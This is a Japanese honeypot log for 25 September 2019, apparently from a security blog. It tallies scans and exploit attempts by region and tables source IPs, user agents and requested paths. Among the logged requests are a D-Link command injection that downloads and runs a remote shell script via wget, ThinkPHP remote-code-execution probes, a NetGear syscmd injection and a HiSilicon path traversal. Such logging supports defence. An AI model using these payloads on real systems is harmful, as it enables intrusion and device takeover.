ハニーポット(仮) 観測記録 2019/09/25分です。
特徴
Region:AP
HiSilicon DVR Devicesの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
phpMyAdminに対するスキャン行為
zgrabによるスキャン行為
を確認しました。
Region:US
HiSilicon DVR Devicesの脆弱性を狙うアクセス
D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
phpMyAdminに対するスキャン行為
Hakaiによるスキャン行為
zgrabによるスキャン行為
を確認しました。
Region:EU
ThinkPHPの脆弱性を狙うアクセス
phpMyAdminに対するスキャン行為
zgrabによるスキャン行為
ZmEuによるスキャン行為
を確認しました。
他
アクセス数推移
AP:総アクセス数:56 (前日比:+6)
US:総アクセス数:123 (前日比:-1)
EU:総アクセス数:32 (前日比:+11)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Region:AP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 104.155.22.106 | United States |
1 | 104.199.93.230 | United States |
3 | 106.13.99.19 | China |
6 | 112.29.140.221 | China |
3 | 112.29.140.228 | China |
3 | 113.106.211.110 | China |
3 | 117.50.54.253 | China |
3 | 130.61.18.166 | United States |
1 | 172.104.242.173 | United States |
2 | 172.105.23.36 | United States |
1 | 175.170.17.43 | China |
4 | 198.20.87.98 | United States |
1 | 207.46.13.228 | United States |
2 | 27.205.43.246 | China |
1 | 34.76.99.201 | United States |
4 | 35.231.77.228 | United States |
4 | 39.135.1.160 | China |
1 | 41.216.186.201 | South Africa |
1 | 54.36.149.14 | France |
2 | 60.191.52.254 | China |
1 | 61.219.11.153 | Taiwan |
1 | 66.249.71.121 | United States |
1 | 77.247.110.222 | Estonia |
6 | 94.141.169.68 | Russia |
UserAgent一覧
件数 | UserAgent |
---|---|
12 | - |
6 | Firefox 3.1 |
1 | Go-http-client/1.1 |
1 | Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/) |
1 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) |
1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 |
4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 |
24 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
3 | Mozilla/5.0 zgrab/0.x |
1 | python-requests/2.10.0 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
3 | - | ||
1 | GET | /09898BA5F19DB36A1A90FC2119C35385.php | HTTP/1.1 |
1 | GET | /720abf5fe7890346dfabbd2c683206f1.php | HTTP/1.1 |
3 | GET | /cm/ | HTTP/1.1 |
1 | GET | /epgrec/do-record.sh | HTTP/1.0 |
2 | GET | /epgrec/do-record.sh | HTTP/1.1 |
1 | GET | /favicon.ico | HTTP/1.1 |
1 | GET | /foltia/ | HTTP/1.0 |
2 | GET | /foltia/ | HTTP/1.1 |
2 | GET | ../../mnt/custom/ProductDefinition | HTTP |
1 | GET | /phpmyadmin/index.php | HTTP/1.1 |
1 | GET | /phpMyAdmin/index.php | HTTP/1.1 |
4 | GET | /robots.txt | HTTP/1.1 |
1 | GET | /sitemap.xml | HTTP/1.1 |
8 | GET | /TP/index.php | HTTP/1.1 |
8 | GET | /TP/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
8 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /.well-known/security.txt | HTTP/1.1 |
2 | GET | /whoami.php | HTTP/1.1 |
2 | HEAD | / | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
1 | POST | /TP/index.php?s=captcha | HTTP/1.1 |
1 | \x03 |
Region:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 106.12.96.76 | China |
1 | 118.81.58.3 | China |
1 | 1.32.56.201 | Malaysia |
1 | 167.88.22.79 | Canada |
1 | 172.104.242.173 | United States |
1 | 35.187.126.246 | United States |
4 | 35.231.77.228 | United States |
4 | 35.237.136.159 | United States |
1 | 49.84.219.127 | China |
108 | 96.53.193.113 | Canada |
UserAgent一覧
件数 | UserAgent |
---|---|
4 | - |
1 | Hakai/2.0 |
1 | Mozilla/5.0 |
8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 |
108 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 |
1 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
2 | - | ||
2 | GET | /24794d9a4e38d452fd2f33819902ee05.php | HTTP/1.1 |
1 | GET | /2phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/PMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/pMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/sqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/sysadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /cm/ | HTTP/1.1 |
1 | GET | /database/index.php?lang=en | HTTP/1.1 |
1 | GET | /dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/db-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/dbweb/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin-3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/webadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/webdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/websql/index.php?lang=en | HTTP/1.1 |
2 | GET | /FF23A014A1F858C0A29ECAB0137F177D.php | HTTP/1.1 |
1 | GET | /index.php?lang=en | HTTP/1.1 |
1 | GET | /login.cgi?cli=aa%20aa%27;wget%20http://142[.]93[.]64[.]50/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ | HTTP/1.1 |
2 | GET | ../../mnt/custom/ProductDefinition | HTTP |
1 | GET | /myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /MyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/pMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2019/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin-3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin4/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin4/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin/index.php | HTTP/1.1 |
2 | GET | /phpMyAdmin/index.php | HTTP/1.1 |
1 | GET | /php-my-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /php-myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmy-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmy/index.php?lang=en | HTTP/1.1 |
1 | GET | /phppma/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2019/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /program/index.php?lang=en | HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 | HTTP/1.1 |
1 | GET | /shopdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpMyAdmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/php-myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmy-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sql-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sql/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sqlweb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/webadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/webdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/websql/index.php?lang=en | HTTP/1.1 |
1 | GET | /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en | HTTP/1.1 |
Region:EU
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
10 | 113.106.211.110 | China |
1 | 172.104.242.173 | United States |
1 | 172.105.23.36 | United States |
6 | 213.222.56.130 | Bulgaria |
1 | 34.76.147.186 | United States |
1 | 61.219.11.153 | Taiwan |
12 | 73.209.74.63 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
3 | - |
1 | Go-http-client/1.1 |
12 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 |
9 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 zgrab/0.x |
6 | ZmEu |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
2 | - | ||
1 | GET | /2phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /cm/ | HTTP/1.1 |
1 | GET | /elrekt.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /myadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /MyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /mysql/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin4/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /pma/scripts/setup.php | HTTP/1.1 |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
1 | GET | /whoami.php | HTTP/1.1 |
1 | POST | /index.php?s=captcha | HTTP/1.1 |